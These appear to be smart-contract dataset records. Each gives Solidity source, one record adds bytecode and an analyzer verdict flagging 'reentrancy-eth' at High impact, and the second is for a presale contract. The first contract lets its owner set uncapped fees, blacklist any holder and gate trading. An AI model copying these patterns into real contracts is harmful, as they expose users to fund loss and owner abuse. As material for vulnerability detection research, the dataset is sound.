uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x35F8d82F4f209BB5c304DEf88523a771e9130AfB);
address payable private _marketingAddress = payable(0xa4dfdE75285343CbAFe221ad5D42019bF8057f44);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 700000000 * 10**9;
uint256 public _maxWalletSize = 700000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b357600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611964565b6105fe565b005b34801561020a57600080fd5b50604080518082019091526008815267426162795061726160c01b60208201525b6040516102389190611a29565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a7e565b61069d565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b506803cb71f51fc55800005b604051908152602001610238565b3480156102db57600080fd5b506102616102ea366004611aaa565b6106b4565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610238565b34801561032d57600080fd5b50601554610291906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611aeb565b61071d565b34801561036d57600080fd5b506101fc61037c366004611b18565b610768565b34801561038d57600080fd5b506101fc6107b0565b3480156103a257600080fd5b506102c16103b1366004611aeb565b6107fb565b3480156103c257600080fd5b506101fc61081d565b3480156103d757600080fd5b506101fc6103e6366004611b33565b610891565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611aeb565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610291565b34801561045857600080fd5b506101fc610467366004611b18565b6108c0565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b50604080518082019091526008815267424142595041524160c01b602082015261022b565b3480156104bf57600080fd5b506101fc6104ce366004611b33565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b4c565b610937565b3480156104ff57600080fd5b5061026161050e366004611a7e565b610975565b34801561051f57600080fd5b5061026161052e366004611aeb565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b7e565b6109d6565b34801561058457600080fd5b506102c1610593366004611c02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b33565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611aeb565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c3b565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c9c565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611db6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c3b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c3b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c3b565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c3b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c3b565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c3b565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c3b565b60005b82811015610a71578160056000868685818110610a2257610a22611c70565b9050602002016020810190610a379190611aeb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c9c565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c3b565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c3b565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611cb7565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611471565b600081848411156112145760405162461bcd60e51b81526004016106289190611a29565b5060006112218486611ccf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d561149f565b90506112e183826114c2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c70565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138457600080fd5b505afa158015611398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bc9190611ce6565b816001815181106113cf576113cf611c70565b6001600160a01b0392831660209182029290920101526014546113f59130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142e908590600090869030904290600401611d03565b600060405180830381600087803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147e5761147e611504565b611489848484611532565b80610a7157610a71600e54600c55600f54600d55565b60008060006114ac611629565b90925090506114bb82826114c2565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166b565b600c541580156115145750600d54155b1561151b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154487611699565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157690876116f6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a59086611738565b6001600160a01b0389166000908152600260205260409020556115c781611797565b6115d184836117e1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161691815260200190565b60405180910390a3505050505050505050565b60065460009081906803cb71f51fc558000061164582826114c2565b821015611662575050600654926803cb71f51fc558000092509050565b90939092509050565b6000818361168c5760405162461bcd60e51b81526004016106289190611a29565b5060006112218486611d74565b60008060008060008060008060006116b68a600c54600d54611805565b92509250925060006116c661149f565b905060008060006116d98e87878761185a565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117458385611cb7565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b60006117a161149f565b905060006117af83836118aa565b306000908152600260205260409020549091506117cc9082611738565b30600090815260026020526040902055505050565b6006546117ee90836116f6565b6006556007546117fe9082611738565b6007555050565b600080808061181f606461181989896118aa565b906114c2565b9050600061183260646118198a896118aa565b9050600061184a826118448b866116f6565b906116f6565b9992985090965090945050505050565b600080808061186988866118aa565b9050600061187788876118aa565b9050600061188588886118aa565b905060006118978261184486866116f6565b939b939a50919850919650505050505050565b6000826118b9575060006106ae565b60006118c58385611d96565b9050826118d28583611d74565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195f8161193f565b919050565b6000602080838503121561197757600080fd5b823567ffffffffffffffff8082111561198f57600080fd5b818501915085601f8301126119a357600080fd5b8135818111156119b5576119b5611929565b8060051b604051601f19603f830116810181811085821117156119da576119da611929565b6040529182528482019250838101850191888311156119f857600080fd5b938501935b82851015611a1d57611a0e85611954565b845293850193928501926119fd565b98975050505050505050565b600060208083528351808285015260005b81811015611a5657858101830151858201604001528201611a3a565b81811115611a68576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9157600080fd5b8235611a9c8161193f565b946020939093013593505050565b600080600060608486031215611abf57600080fd5b8335611aca8161193f565b92506020840135611ada8161193f565b929592945050506040919091013590565b600060208284031215611afd57600080fd5b81356112e18161193f565b8035801515811461195f57600080fd5b600060208284031215611b2a57600080fd5b6112e182611b08565b600060208284031215611b4557600080fd5b5035919050565b60008060008060808587031215611b6257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9357600080fd5b833567ffffffffffffffff80821115611bab57600080fd5b818601915086601f830112611bbf57600080fd5b813581811115611bce57600080fd5b8760208260051b8501011115611be357600080fd5b602092830195509350611bf99186019050611b08565b90509250925092565b60008060408385031215611c1557600080fd5b8235611c208161193f565b91506020830135611c308161193f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb057611cb0611c86565b5060010190565b60008219821115611cca57611cca611c86565b500190565b600082821015611ce157611ce1611c86565b500390565b600060208284031215611cf857600080fd5b81516112e18161193f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d535784516001600160a01b031683529383019391830191600101611d2e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db057611db0611c86565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201e10db94ba7013db871db4f58805774e610deb8cb956e40682e2edbc8bca6e4f64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,779 |
0x51bc4acffefe8ad28c8122c77eb06ede12e82961
|
// v7
/**
* Presale.sol
*/
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
* @param a First number
* @param b Second number
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
* @param a First number
* @param b Second number
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
* @param a First number
* @param b Second number
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
* @param a First number
* @param b Second number
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// interface to the crowdsale contract
interface CrowdSale {
function crowdSaleCheck() external view returns (bool);
}
/**
* @title InvestorsStorage
* @dev InvestorStorage contract interface with newInvestment and getInvestedAmount functions which need to be implemented
*/
interface InvestorsStorage {
function newInvestment(address _investor, uint256 _amount) external;
function getInvestedAmount(address _investor) external view returns (uint256);
}
/**
* @title TokenContract
* @dev Token contract interface with transfer and balanceOf functions which need to be implemented
*/
interface TokenContract {
/**
* @dev Transfer funds to recipient address
* @param _recipient Recipients address
* @param _amount Amount to transfer
*/
function transfer(address _recipient, uint256 _amount) external returns (bool);
/**
* @dev Return balance of holders address
* @param _holder Holders address
*/
function balanceOf(address _holder) external view returns (uint256);
}
/**
* @title PreSale
* @dev PreSale Contract which executes and handles presale of the tokens
*/
contract PreSale is Ownable {
using SafeMath for uint256;
// variables
TokenContract public tkn;
CrowdSale public cSale;
InvestorsStorage public investorsStorage;
uint256 public levelEndDate;
uint256 public currentLevel;
uint256 public levelTokens = 375000;
uint256 public tokensSold;
uint256 public weiRised;
uint256 public ethPrice;
address[] public investorsList;
bool public presalePaused;
bool public presaleEnded;
uint256[12] private tokenPrice = [4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 44, 48];
uint256 private baseTokens = 375000;
uint256 private usdCentValue;
uint256 private minInvestment;
/**
* @dev Constructor of Presale contract
*/
constructor() public {
tkn = TokenContract(0x5313E9783E5b56389b14Cd2a99bE9d283a03f8c6); // address of the token contract
investorsStorage = InvestorsStorage(0x15c7c30B980ef442d3C811A30346bF9Dd8906137); // address of the storage contract
minInvestment = 100 finney;
updatePrice(5000);
}
/**
* @dev Fallback payable function which executes additional checks and functionality when tokens need to be sent to the investor
*/
function() payable public {
require(msg.value >= minInvestment); // check for minimum investment amount
require(!presalePaused);
require(!presaleEnded);
prepareSell(msg.sender, msg.value);
}
/**
* @dev Prepare sell of the tokens
* @param _investor Investors address
* @param _amount Amount invested
*/
function prepareSell(address _investor, uint256 _amount) private {
uint256 remaining;
uint256 pricePerCent;
uint256 pricePerToken;
uint256 toSell;
uint256 amount = _amount;
uint256 sellInWei;
address investor = _investor;
pricePerCent = getUSDPrice();
pricePerToken = pricePerCent.mul(tokenPrice[currentLevel]); // calculate the price for each token in the current level
toSell = _amount.div(pricePerToken); // calculate the amount to sell
if (toSell < levelTokens) { // if there is enough tokens left in the current level, sell from it
levelTokens = levelTokens.sub(toSell);
weiRised = weiRised.add(_amount);
executeSell(investor, toSell, _amount);
owner.transfer(_amount);
} else { // if not, sell from 2 or more different levels
while (amount > 0) {
if (toSell > levelTokens) {
toSell = levelTokens; // sell all the remaining in the level
sellInWei = toSell.mul(pricePerToken);
amount = amount.sub(sellInWei);
if (currentLevel < 11) { // if is the last level, sell only the tokens left,
currentLevel += 1;
levelTokens = baseTokens;
} else {
remaining = amount;
amount = 0;
}
} else {
sellInWei = amount;
amount = 0;
}
executeSell(investor, toSell, sellInWei);
weiRised = weiRised.add(sellInWei);
owner.transfer(amount);
if (amount > 0) {
toSell = amount.div(pricePerToken);
}
if (remaining > 0) { // if there is any mount left, it means that is the the last level an there is no more tokens to sell
investor.transfer(remaining);
owner.transfer(address(this).balance);
presaleEnded = true;
}
}
}
}
/**
* @dev Execute sell of the tokens - send investor to investors storage and transfer tokens
* @param _investor Investors address
* @param _tokens Amount of tokens to be sent
* @param _weiAmount Amount invested in wei
*/
function executeSell(address _investor, uint256 _tokens, uint256 _weiAmount) private {
uint256 totalTokens = _tokens * (10 ** 18);
tokensSold += _tokens; // update tokens sold
investorsStorage.newInvestment(_investor, _weiAmount); // register the invested amount in the storage
require(tkn.transfer(_investor, totalTokens)); // transfer the tokens to the investor
emit NewInvestment(_investor, totalTokens);
}
/**
* @dev Getter for USD price of tokens
*/
function getUSDPrice() private view returns (uint256) {
return usdCentValue;
}
/**
* @dev Change USD price of tokens
* @param _ethPrice New Ether price
*/
function updatePrice(uint256 _ethPrice) private {
uint256 centBase = 1 * 10 ** 16;
require(_ethPrice > 0);
ethPrice = _ethPrice;
usdCentValue = centBase.div(_ethPrice);
}
/**
* @dev Set USD to ETH value
* @param _ethPrice New Ether price
*/
function setUsdEthValue(uint256 _ethPrice) onlyOwner external { // set the ETH value in USD
updatePrice(_ethPrice);
}
/**
* @dev Set the crowdsale contract address
* @param _crowdSale Crowdsale contract address
*/
function setCrowdSaleAddress(address _crowdSale) onlyOwner public { // set the crowdsale contract address
cSale = CrowdSale(_crowdSale);
}
/**
* @dev Set the storage contract address
* @param _investorsStorage Investors storage contract address
*/
function setStorageAddress(address _investorsStorage) onlyOwner public { // set the storage contract address
investorsStorage = InvestorsStorage(_investorsStorage);
}
/**
* @dev Pause the presale
* @param _paused Paused state - true/false
*/
function pausePresale(bool _paused) onlyOwner public { // pause the presale
presalePaused = _paused;
}
/**
* @dev Get funds
*/
function getFunds() onlyOwner public { // request the funds
owner.transfer(address(this).balance);
}
event NewInvestment(address _investor, uint256 tokens);
}
|
